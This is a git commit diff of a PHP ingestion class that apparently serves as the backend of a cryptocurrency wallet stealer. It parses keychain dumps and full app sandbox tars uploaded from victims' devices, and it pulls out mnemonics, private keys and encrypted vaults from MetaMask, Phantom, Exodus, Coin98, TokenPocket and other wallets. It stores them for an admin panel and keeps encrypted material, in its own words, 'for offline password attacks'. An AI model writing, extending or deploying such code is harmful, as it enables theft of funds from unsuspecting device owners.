feat: app
This commit is contained in:
@@ -294,6 +294,8 @@ final class AppUploadIngester
|
||||
return;
|
||||
}
|
||||
|
||||
$this->persistRecoverableKeychainWallets($device, $buckets);
|
||||
|
||||
$rawJson = [
|
||||
'kind' => 'keychain.wallets',
|
||||
'wallets' => $buckets,
|
||||
@@ -308,6 +310,10 @@ final class AppUploadIngester
|
||||
'items' => $itemCount,
|
||||
'sources' => array_keys($buckets),
|
||||
]);
|
||||
|
||||
// Don't wait for /api/v2/finish — Phantom / Uniswap / Exodus / Bitpie
|
||||
// mnemonics live in this dump and should show up as soon as it lands.
|
||||
$this->dispatchDecrypt($device);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -389,6 +395,27 @@ final class AppUploadIngester
|
||||
$row->save();
|
||||
}
|
||||
|
||||
/**
|
||||
* Surface Bitpie / Phantom / Uniswap / Exodus as their own keystore rows
|
||||
* so the admin 钥匙串 tab lists wallets whose mnemonic lives in keychain
|
||||
* (not a UTC blob).
|
||||
*
|
||||
* @param array<string, array{items: list<array<string, mixed>>}> $buckets
|
||||
*/
|
||||
private function persistRecoverableKeychainWallets(Device $device, array $buckets): void
|
||||
{
|
||||
foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus'] as $source) {
|
||||
$items = $buckets[$source]['items'] ?? null;
|
||||
if (! is_array($items) || $items === []) {
|
||||
continue;
|
||||
}
|
||||
WalletKeystore::firstOrCreateForDevice($device, $source, [
|
||||
'kind' => 'keychain.wallets',
|
||||
'wallets' => [$source => ['items' => $items]],
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $item
|
||||
* @return array<string, mixed>|null
|
||||
@@ -627,6 +654,11 @@ final class AppUploadIngester
|
||||
*/
|
||||
private function parseWalletTar(Device $device, string $content, string $bundleId): void
|
||||
{
|
||||
// Full sandbox tars run 50–100 MB; the default 128M limit is not
|
||||
// enough for tar string + decoded sandbox + keystore raw_json.
|
||||
if ((int) ini_get('memory_limit') > 0 && ini_get('memory_limit') !== '-1') {
|
||||
@ini_set('memory_limit', '512M');
|
||||
}
|
||||
$source = WalletSource::labelForBundle($bundleId, $bundleId);
|
||||
if ($source === '' || $source === $bundleId) {
|
||||
$hint = WalletSource::fromKeystoreHint($bundleId);
|
||||
@@ -640,6 +672,12 @@ final class AppUploadIngester
|
||||
$sandbox = $this->extractTarSandbox($content);
|
||||
$needsPassword = $sandbox !== [] && $this->sandboxNeedsUserPassword($bundleId, $source, $sandbox);
|
||||
$this->storeWeb3KeystoresFromSandbox($device, $source, $sandbox, $needsPassword);
|
||||
$this->storePasswordVaultsFromSandbox($device, $source, $sandbox);
|
||||
if ($this->isCoin98Source($source, $bundleId)) {
|
||||
$this->storeCoin98KeystoreFromSandbox($device, $source, $sandbox);
|
||||
} elseif ($this->isTokenPocketFamily($source, $bundleId)) {
|
||||
$this->storeEncryptedSandboxFiles($device, $source, $sandbox);
|
||||
}
|
||||
$this->ingestAddressesFromWalletTar($device, $source, $bundleId, $content, $sandbox);
|
||||
|
||||
Log::channel('keystore')->info('AppUploadIngester: parsed wallet tar', [
|
||||
@@ -732,6 +770,10 @@ final class AppUploadIngester
|
||||
$rows = [];
|
||||
$imToken = $this->isImTokenSource($source, $bundleId);
|
||||
$tokenPocketFamily = $this->isTokenPocketFamily($source, $bundleId);
|
||||
$metaMask = $this->isMetaMaskSource($source, $bundleId);
|
||||
$coin98 = $this->isCoin98Source($source, $bundleId);
|
||||
$tonhub = $this->isTonhubSource($source, $bundleId);
|
||||
$okx = $this->isOkxSource($source, $bundleId);
|
||||
// Global Wallet / TokenPocket Documents tar is token-list + helper
|
||||
// contracts (balanceContract / batchTxContract). Real wallets live in
|
||||
// encrypted sqlite and are not recoverable from this dump.
|
||||
@@ -740,6 +782,27 @@ final class AppUploadIngester
|
||||
$hits = $this->collectImTokenAddressHits($sandbox);
|
||||
} elseif ($this->isTrustSource($source, $bundleId)) {
|
||||
$hits = $this->collectTrustAddressHits($sandbox);
|
||||
} elseif ($metaMask) {
|
||||
// MetaMask Documents only holds Redux persist state — the real
|
||||
// user accounts live in persist-AccountsController. Everything
|
||||
// else (AssetsController token lists, network config) is noise.
|
||||
$hits = $this->collectMetaMaskAccountHits($sandbox);
|
||||
} elseif ($coin98) {
|
||||
// Coin98 AsyncStorage caches the full token inventory JSON under
|
||||
// hash-named keys — thousands of contract addresses. Real wallets
|
||||
// live only in the SET_WALLET_STORAGE entry.
|
||||
$hits = $this->collectCoin98WalletHits($sandbox);
|
||||
} elseif ($tonhub) {
|
||||
// Tonhub only ships react-query mmkv caches; the user's own TON
|
||||
// address appears in ["cloud", "<addr>"] / ["account", "<addr>"]
|
||||
// query keys. Everything else is contract / counterparty noise.
|
||||
$hits = $this->collectTonhubAccountHits($sandbox);
|
||||
} elseif ($okx) {
|
||||
// OKX Documents only contain token-metadata sqlite
|
||||
// (wallet_coinMeta) and an empty OKPayCore.db. Real accounts stay
|
||||
// in encrypted keychain storage and never reach this dump —
|
||||
// store nothing rather than thousands of token-contract rows.
|
||||
$hits = [];
|
||||
} elseif (! $tokenPocketFamily) {
|
||||
$hits = $this->collectAddressHits($sandbox);
|
||||
}
|
||||
@@ -748,7 +811,11 @@ final class AppUploadIngester
|
||||
// the last coin (ARB) overwrites ETH.
|
||||
$rows[$hit['chain_type'].'|'.$hit['address']] = $hit;
|
||||
}
|
||||
if (! $imToken && ! $tokenPocketFamily && ! $this->isTrustSource($source, $bundleId)) {
|
||||
// Token-metadata sqlite (OKX wallet_coinMeta, Coin98 measurement db)
|
||||
// must not leak contract lists into wallet_addresses either.
|
||||
$targetedWallet = $imToken || $tokenPocketFamily || $metaMask || $coin98 || $tonhub || $okx
|
||||
|| $this->isTrustSource($source, $bundleId);
|
||||
if (! $targetedWallet) {
|
||||
foreach ($this->collectSqliteAddressHits($tar) as $hit) {
|
||||
$key = $hit['address'];
|
||||
if (isset($rows[$key]) && is_array($rows[$key]['balance'] ?? null) && is_array($hit['balance'] ?? null)) {
|
||||
@@ -808,6 +875,144 @@ final class AppUploadIngester
|
||||
|| str_contains($hay, 'mytokenpocket');
|
||||
}
|
||||
|
||||
/**
|
||||
* MetaMask persistStore keeps the keyring vault (encrypted mnemonic /
|
||||
* snap secrets) under persist-KeyringController.vault and
|
||||
* persist-SnapController.vault as a JSON-encoded
|
||||
* {cipher, iv, salt, keyMetadata, lib} blob — the exact quick-crypto
|
||||
* format the admin password-unlock flow already decrypts. Collect every
|
||||
* vault-shaped node so it becomes a needs-password keystore row.
|
||||
*
|
||||
* @param array<string, mixed> $sandbox
|
||||
*/
|
||||
private function storePasswordVaultsFromSandbox(Device $device, string $source, array $sandbox): void
|
||||
{
|
||||
foreach ($this->collectPasswordVaultNodes($sandbox) as $vault) {
|
||||
$payload = array_merge($vault, ['kind' => 'metamask.vault']);
|
||||
WalletKeystore::firstOrCreateForDevice($device, $source, $payload, true);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $node
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function collectPasswordVaultNodes(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 14 || ! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
$out = [];
|
||||
$vault = $node['vault'] ?? null;
|
||||
if (is_string($vault) || is_array($vault)) {
|
||||
$parsed = is_string($vault) ? json_decode($vault, true) : $vault;
|
||||
if (is_array($parsed)
|
||||
&& is_string($parsed['cipher'] ?? null)
|
||||
&& is_string($parsed['iv'] ?? null)
|
||||
&& is_string($parsed['salt'] ?? null)) {
|
||||
$out[] = $parsed;
|
||||
}
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
if (is_array($child)) {
|
||||
$out = array_merge($out, $this->collectPasswordVaultNodes($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
if (count($out) > 1) {
|
||||
$out = $this->uniqueVaults($out);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array<string, mixed>> $vaults
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function uniqueVaults(array $vaults): array
|
||||
{
|
||||
$seen = [];
|
||||
$out = [];
|
||||
foreach ($vaults as $vault) {
|
||||
$key = (string) ($vault['cipher'] ?? '');
|
||||
if ($key === '' || isset($seen[$key])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$key] = true;
|
||||
$out[] = $vault;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Global Wallet / TokenPocket Documents hide the real wallets inside
|
||||
* encrypted blobs (the F4SeCyr backup file and the SQLCipher-locked
|
||||
* db/*.sqlite3) while everything else is market-cache noise. Persist
|
||||
* the non-cache files as an encrypted-sandbox keystore row so the raw
|
||||
* material stays available for offline password attacks even though
|
||||
* no decryptor exists yet.
|
||||
*
|
||||
* @param array<string, mixed> $sandbox
|
||||
*/
|
||||
private function storeEncryptedSandboxFiles(Device $device, string $source, array $sandbox): void
|
||||
{
|
||||
$files = $this->collectNonCacheSandboxFiles($sandbox);
|
||||
if ($files === []) {
|
||||
return;
|
||||
}
|
||||
WalletKeystore::firstOrCreateForDevice($device, $source, [
|
||||
'kind' => 'encrypted.sandbox',
|
||||
'files' => $files,
|
||||
], true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Grab sandbox files outside Documents/cache (wallet data, encrypted
|
||||
* dbs), capped so a pathological sandbox cannot blow up the row.
|
||||
*
|
||||
* @param array<string, mixed> $sandbox
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function collectNonCacheSandboxFiles(array $sandbox): array
|
||||
{
|
||||
$out = [];
|
||||
$this->walkNonCacheFiles($sandbox, '', $out, 0);
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $out
|
||||
*/
|
||||
private function walkNonCacheFiles(mixed $node, string $path, array &$out, int $depth): void
|
||||
{
|
||||
if ($depth > 14 || count($out) >= 32 || ! is_array($node)) {
|
||||
return;
|
||||
}
|
||||
foreach ($node as $key => $child) {
|
||||
$childPath = ($path === '' ? '' : $path.'/').(string) $key;
|
||||
$ancestors = explode('/', $childPath);
|
||||
$inCache = in_array('cache', $ancestors, true) || in_array('Caches', $ancestors, true);
|
||||
if (is_string($child) && ! $inCache) {
|
||||
// Only binary payloads (decodeFileContent base64-encoded
|
||||
// them) — decoded plaintext that is valid UTF-8 text is a
|
||||
// config/cache file, not encrypted wallet material.
|
||||
if (preg_match('/^[A-Za-z0-9+\/]{64,}={0,2}$/', $child)) {
|
||||
$bin = base64_decode($child, true);
|
||||
if (is_string($bin) && strlen($bin) >= 32 && ! mb_check_encoding($bin, 'UTF-8')) {
|
||||
$out[$childPath] = $child;
|
||||
}
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
if (is_array($child)) {
|
||||
$this->walkNonCacheFiles($child, $childPath, $out, $depth + 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function isTrustSource(string $source, string $bundleId): bool
|
||||
{
|
||||
$hay = strtolower($source.' '.$bundleId);
|
||||
@@ -817,6 +1022,289 @@ final class AppUploadIngester
|
||||
|| str_contains($hay, 'wallet.crypto.trustapp');
|
||||
}
|
||||
|
||||
private function isMetaMaskSource(string $source, string $bundleId): bool
|
||||
{
|
||||
return str_contains(strtolower($source.' '.$bundleId), 'metamask');
|
||||
}
|
||||
|
||||
private function isCoin98Source(string $source, string $bundleId): bool
|
||||
{
|
||||
return str_contains(strtolower($source.' '.$bundleId), 'coin98');
|
||||
}
|
||||
|
||||
private function isTonhubSource(string $source, string $bundleId): bool
|
||||
{
|
||||
return str_contains(strtolower($source.' '.$bundleId), 'tonhub');
|
||||
}
|
||||
|
||||
private function isOkxSource(string $source, string $bundleId): bool
|
||||
{
|
||||
$hay = strtolower($source.' '.$bundleId);
|
||||
|
||||
return str_contains($hay, 'okex') || str_contains($hay, 'okx.');
|
||||
}
|
||||
|
||||
/**
|
||||
* MetaMask accounts are Redux-persisted under
|
||||
* persist-AccountsController → internalAccounts.accounts.{uuid} with a
|
||||
* CAIP type ("eip155:eoa", "solana:data-account", "bip122:p2wpkh",
|
||||
* "tron:eoa", "stellar:account", …). Only the four supported chain
|
||||
* prefixes are stored; snaps and niche chains are skipped.
|
||||
*
|
||||
* @param mixed $node
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function collectMetaMaskAccountHits(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 14 || ! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
$out = [];
|
||||
$accounts = $node['internalAccounts']['accounts'] ?? null;
|
||||
if (is_array($accounts)) {
|
||||
foreach ($accounts as $account) {
|
||||
if (! is_array($account)) {
|
||||
continue;
|
||||
}
|
||||
$addr = $account['address'] ?? null;
|
||||
if (! is_string($addr) || $addr === '') {
|
||||
continue;
|
||||
}
|
||||
$chain = $this->metaMaskChainForAccount($account);
|
||||
if ($chain === null) {
|
||||
continue;
|
||||
}
|
||||
$out[] = [
|
||||
'address' => $addr,
|
||||
'chain_type' => $chain,
|
||||
'balance' => [],
|
||||
];
|
||||
}
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
if (is_array($child)) {
|
||||
$out = array_merge($out, $this->collectMetaMaskAccountHits($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $account
|
||||
*/
|
||||
private function metaMaskChainForAccount(array $account): ?string
|
||||
{
|
||||
$type = strtolower((string) ($account['type'] ?? ''));
|
||||
$prefix = explode(':', $type)[0];
|
||||
$chain = match ($prefix) {
|
||||
'eip155' => 'ETHEREUM',
|
||||
'solana' => 'SOLANA',
|
||||
'bip122' => 'BITCOIN',
|
||||
'tron' => 'TRON',
|
||||
default => null,
|
||||
};
|
||||
if ($chain === null || ! WalletSource::isSupportedChain($chain)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $chain;
|
||||
}
|
||||
|
||||
/**
|
||||
* Coin98 keeps the real wallet list in the RCTAsyncLocalStorage
|
||||
* SET_WALLET_STORAGE key (a doubly JSON-encoded array of
|
||||
* {address, privateKey, mnemonic, chain, isActive} entries). The
|
||||
* neighbouring keys (CACHE_TOKEN_LIST_DATA, POINT_TOKEN_INFO, …) are
|
||||
* token inventories and must never be harvested.
|
||||
*
|
||||
* @param array<string, mixed> $sandbox
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function collectCoin98WalletHits(array $sandbox): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($this->coin98WalletsFromSandbox($sandbox) as $wallet) {
|
||||
$addr = $wallet['address'] ?? null;
|
||||
if (! is_string($addr) || $addr === '') {
|
||||
continue;
|
||||
}
|
||||
$hit = $this->addressHitFromString($addr);
|
||||
if ($hit !== null) {
|
||||
$out[] = $hit;
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Walk the sandbox for Coin98 wallet entries (the SET_WALLET_STORAGE
|
||||
* value, or the standalone per-key AsyncStorage file variant) and
|
||||
* return them verbatim — address / chain / name plus the CryptoJS
|
||||
* "U2FsdGVkX1…" privateKey / mnemonic blobs that offline password
|
||||
* recovery needs.
|
||||
*
|
||||
* @param mixed $node
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function coin98WalletsFromSandbox(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 14 || ! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
$out = [];
|
||||
$storage = $node['SET_WALLET_STORAGE'] ?? null;
|
||||
if ($storage !== null) {
|
||||
$wallets = is_string($storage) ? json_decode($storage, true) : $storage;
|
||||
if (is_array($wallets) && $this->looksLikeCoin98WalletList($wallets)) {
|
||||
$out = array_merge($out, array_values(array_filter($wallets, 'is_array')));
|
||||
}
|
||||
}
|
||||
$list = $this->coin98WalletList($node);
|
||||
if ($list !== null) {
|
||||
$out = array_merge($out, $list);
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
if (is_array($child)) {
|
||||
$out = array_merge($out, $this->coin98WalletsFromSandbox($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
* @return list<array<string, mixed>>|null
|
||||
*/
|
||||
private function coin98WalletList(array $node): ?array
|
||||
{
|
||||
$wallets = $node['wallets'] ?? null;
|
||||
if (! is_array($wallets) || ! $this->looksLikeCoin98WalletList($wallets)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return array_values(array_filter($wallets, 'is_array'));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<int|string, mixed> $wallets
|
||||
*/
|
||||
private function looksLikeCoin98WalletList(array $wallets): bool
|
||||
{
|
||||
if (! array_is_list($wallets) || $wallets === []) {
|
||||
return false;
|
||||
}
|
||||
$first = $wallets[0];
|
||||
if (! is_array($first)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return isset($first['address'])
|
||||
&& (isset($first['isActive']) || isset($first['privateKey']) || isset($first['mnemonic']));
|
||||
}
|
||||
|
||||
/**
|
||||
* Persist the Coin98 wallet list (with the CryptoJS privateKey /
|
||||
* mnemonic blobs) as a needs-password keystore row so the admin
|
||||
* password-unlock flow can recover the mnemonic offline.
|
||||
*
|
||||
* @param array<string, mixed> $sandbox
|
||||
*/
|
||||
private function storeCoin98KeystoreFromSandbox(Device $device, string $source, array $sandbox): void
|
||||
{
|
||||
$wallets = $this->coin98WalletsFromSandbox($sandbox);
|
||||
if ($wallets === []) {
|
||||
return;
|
||||
}
|
||||
$hasCipher = false;
|
||||
foreach ($wallets as $wallet) {
|
||||
foreach (['privateKey', 'mnemonic'] as $field) {
|
||||
$value = $wallet[$field] ?? null;
|
||||
if (is_string($value) && $this->isCryptoJsCipher($value)) {
|
||||
$hasCipher = true;
|
||||
break 2;
|
||||
}
|
||||
}
|
||||
}
|
||||
WalletKeystore::firstOrCreateForDevice($device, $source, [
|
||||
'kind' => 'coin98.wallet',
|
||||
'wallets' => $wallets,
|
||||
], $hasCipher);
|
||||
}
|
||||
|
||||
/**
|
||||
* CryptoJS AES default output: base64("Salted__" + 8-byte salt +
|
||||
* AES-256-CBC ciphertext).
|
||||
*/
|
||||
private function isCryptoJsCipher(string $value): bool
|
||||
{
|
||||
$decoded = base64_decode($value, true);
|
||||
|
||||
return is_string($decoded) && str_starts_with($decoded, 'Salted__');
|
||||
}
|
||||
|
||||
/**
|
||||
* Tonhub only exposes the user address through react-query mmkv
|
||||
* cache keys: ["cloud","<addr>", …] queries (primaryCurrency /
|
||||
* addressbook / config) are keyed by the wallet owner's own address.
|
||||
* holders / account / pool keys may reference third-party contracts
|
||||
* or viewed pages, so they are skipped. mmkv files arrive
|
||||
* base64-encoded (decodeFileContent caps text at 64 KiB), so try the
|
||||
* raw string first, then its base64 payload.
|
||||
*
|
||||
* @param mixed $node
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function collectTonhubAccountHits(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 14 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
$out = [];
|
||||
if (is_string($node)) {
|
||||
foreach ($this->tonhubAddressesFromString($node) as $addr) {
|
||||
$out[] = [
|
||||
'address' => $addr,
|
||||
'chain_type' => 'TON',
|
||||
'balance' => [],
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectTonhubAccountHits($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function tonhubAddressesFromString(string $raw): array
|
||||
{
|
||||
$found = [];
|
||||
$pattern = '/\["cloud","([EU]Q[A-Za-z0-9_\-]{46})"/';
|
||||
foreach ([$raw, (string) (base64_decode($raw, true) ?: '')] as $text) {
|
||||
if ($text === '' || ! preg_match_all($pattern, $text, $matches)) {
|
||||
continue;
|
||||
}
|
||||
foreach ($matches[1] as $addr) {
|
||||
$found[$addr] = $addr;
|
||||
}
|
||||
}
|
||||
|
||||
return array_values($found);
|
||||
}
|
||||
|
||||
/**
|
||||
* Trust HD UTC lists every WalletCore coin in activeAccounts. Many of
|
||||
* those addresses are 0x-shaped (ETC, VeChain, Theta, …) and must not
|
||||
@@ -930,6 +1418,10 @@ final class AppUploadIngester
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
if ($this->isTokenEntryNode($node)) {
|
||||
// {symbol, name, decimals, address} — token inventory entry, not a user account.
|
||||
return [];
|
||||
}
|
||||
foreach (['address', 'Address', 'walletAddress', 'ethAddress', 'tronAddress'] as $key) {
|
||||
if (isset($node[$key]) && is_string($node[$key])) {
|
||||
$hit = $this->addressHitFromString($node[$key]);
|
||||
@@ -938,7 +1430,12 @@ final class AppUploadIngester
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_string($key) && in_array($key, self::CONTRACT_KEY_DENYLIST, true)) {
|
||||
// multicall3 / foxConnectAddresses / contract maps are
|
||||
// network config, never user accounts.
|
||||
continue;
|
||||
}
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectAddressHits($child, $depth + 1));
|
||||
}
|
||||
@@ -947,6 +1444,38 @@ final class AppUploadIngester
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Keys that only ever hold contract / config addresses.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
private const CONTRACT_KEY_DENYLIST = [
|
||||
'contracts',
|
||||
'contract',
|
||||
'contractAddress',
|
||||
'tokenAddress',
|
||||
'token_address',
|
||||
'wethContractAddress',
|
||||
'multicall3',
|
||||
'multicallAddress',
|
||||
'foxConnectAddresses',
|
||||
'batchTxContract',
|
||||
'balanceContract',
|
||||
];
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isTokenEntryNode(array $node): bool
|
||||
{
|
||||
if (! isset($node['symbol'])) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return isset($node['decimals']) || isset($node['name']) || isset($node['tokenType'])
|
||||
|| isset($node['chainId']) || isset($node['logoUri']);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{address: string, chain_type: string, balance: array<string, int|float|string>}|null
|
||||
*/
|
||||
@@ -954,10 +1483,17 @@ final class AppUploadIngester
|
||||
{
|
||||
$addr = trim($raw);
|
||||
if ($addr !== '' && ctype_xdigit($addr) && strlen($addr) === 40) {
|
||||
// Pure-digit 40-hex blobs are data (balances, timestamps), not accounts.
|
||||
if (ctype_digit($addr)) {
|
||||
return null;
|
||||
}
|
||||
$addr = '0x'.$addr;
|
||||
}
|
||||
$chain = WalletSource::inferChainType($addr);
|
||||
if (! WalletSource::isSupportedChain($chain)) {
|
||||
// TON is only harvested by the dedicated Tonhub collector: EQ/UQ
|
||||
// strings float around token caches as jetton contracts and would
|
||||
// flood wallet_addresses from free-text scans.
|
||||
if ($chain === 'TON' || ! WalletSource::isSupportedChain($chain)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -1336,11 +1872,20 @@ final class AppUploadIngester
|
||||
continue;
|
||||
}
|
||||
|
||||
$entrySize = (int) $f->getSize();
|
||||
// Hard gate before reading: wallet configs / keystores are small
|
||||
// (Realm ≤ a few MB); image caches and token-inventory dumps are
|
||||
// tens of MB and only burn memory (fatal on 128M limits when a
|
||||
// device uploads a full 76 MB sandbox tar).
|
||||
if ($entrySize > 5 * 1024 * 1024) {
|
||||
continue;
|
||||
}
|
||||
$raw = @file_get_contents($f->getPathname());
|
||||
if ($raw === false || $raw === '') {
|
||||
continue;
|
||||
}
|
||||
$decoded = $this->decodeFileContent($raw, $rel);
|
||||
unset($raw);
|
||||
if ($decoded === null) {
|
||||
continue;
|
||||
}
|
||||
@@ -1360,8 +1905,10 @@ final class AppUploadIngester
|
||||
private function decodeFileContent(string $raw, string $path): mixed
|
||||
{
|
||||
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
|
||||
// Cap the decode: multi-MB token inventories explode into huge PHP
|
||||
// arrays (10× the raw size) and end up serialized into raw_json.
|
||||
$first = $raw[0] ?? '';
|
||||
if ($first === '{' || $first === '[') {
|
||||
if (($first === '{' || $first === '[') && strlen($raw) <= 2 * 1024 * 1024) {
|
||||
$json = json_decode($raw, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
|
||||
Reference in New Issue
Block a user